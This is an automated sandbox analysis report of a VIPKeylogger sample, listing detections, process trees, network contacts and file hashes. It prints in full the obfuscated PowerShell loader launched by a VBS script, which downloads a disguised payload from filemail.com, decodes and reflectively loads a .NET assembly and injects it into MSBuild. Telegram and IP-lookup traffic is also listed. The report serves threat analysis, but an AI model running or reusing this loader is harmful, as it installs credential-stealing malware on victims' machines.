Analysis Overview
SHA256
48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a
Threat Level: Known bad
The file 4.7z was found to be: Known bad.
Malicious Activity Summary
Vipkeylogger family
VIPKeylogger
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Looks up external IP address via web service
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Enumerates physical storage devices
Browser Information Discovery
System Location Discovery: System Language Discovery
outlook_office_path
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-14 15:20
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-14 15:20
Reported
2024-11-14 15:23
Platform
win7-20241023-en
Max time kernel
117s
Max time network
117s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2140 wrote to memory of 3000 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2140 wrote to memory of 3000 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2140 wrote to memory of 3000 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3000 wrote to memory of 2620 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3000 wrote to memory of 2620 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3000 wrote to memory of 2620 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
Files
memory/3000-4-0x000007FEF56AE000-0x000007FEF56AF000-memory.dmp
memory/3000-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp
memory/3000-6-0x0000000001E80000-0x0000000001E88000-memory.dmp
memory/3000-7-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp
memory/3000-13-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DBFO038ALMWJ0W3PPF7K.temp
| MD5 | 8ecd445442bed75f23156d22f4b2bba8 |
| SHA1 | ef7965f55ce01ef88109e7bf4bf58dbb2cb66295 |
| SHA256 | e93abfad2e89f42b8a38c6370751a4a3fa8d287c31bfaf57756187011fe1dd08 |
| SHA512 | a9d7e4cb36d007d5f6599c98a08042ac940b76ca5dbe08df6cc7546a635b283c0db495010ee51274ef897e37aaf667c03a7c2dd80437a2b93ebafab25de1f12c |
memory/3000-14-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-14 15:20
Reported
2024-11-14 15:23
Platform
win10v2004-20241007-en
Max time kernel
116s
Max time network
147s
Command Line
Signatures
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 456 set thread context of 2940 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | 78.209.215.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | udp |
| US | 172.66.0.235:443 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | tcp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 235.0.66.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| DE | 193.122.6.168:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 104.21.67.152:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 168.6.122.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.67.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 65.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.210.23.2.in-addr.arpa | udp |
Files
memory/4572-0-0x00007FFB29E63000-0x00007FFB29E65000-memory.dmp
memory/4572-1-0x00000244F96E0000-0x00000244F9702000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ueqbwo4.scj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4572-11-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp
memory/4572-12-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp
memory/4572-22-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp
memory/456-23-0x000001CAFB840000-0x000001CAFB998000-memory.dmp
memory/2940-24-0x0000000000400000-0x0000000000448000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 50a8221b93fbd2628ac460dd408a9fc1 |
| SHA1 | 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6 |
| SHA256 | 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e |
| SHA512 | 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/4572-30-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp
memory/2940-31-0x0000000005920000-0x0000000005EC4000-memory.dmp
memory/2940-32-0x0000000005410000-0x00000000054AC000-memory.dmp
memory/2940-33-0x00000000068A0000-0x0000000006A62000-memory.dmp
memory/2940-34-0x0000000006720000-0x0000000006770000-memory.dmp
memory/2940-35-0x0000000006A70000-0x0000000006B02000-memory.dmp
memory/2940-36-0x0000000006820000-0x000000000682A000-memory.dmp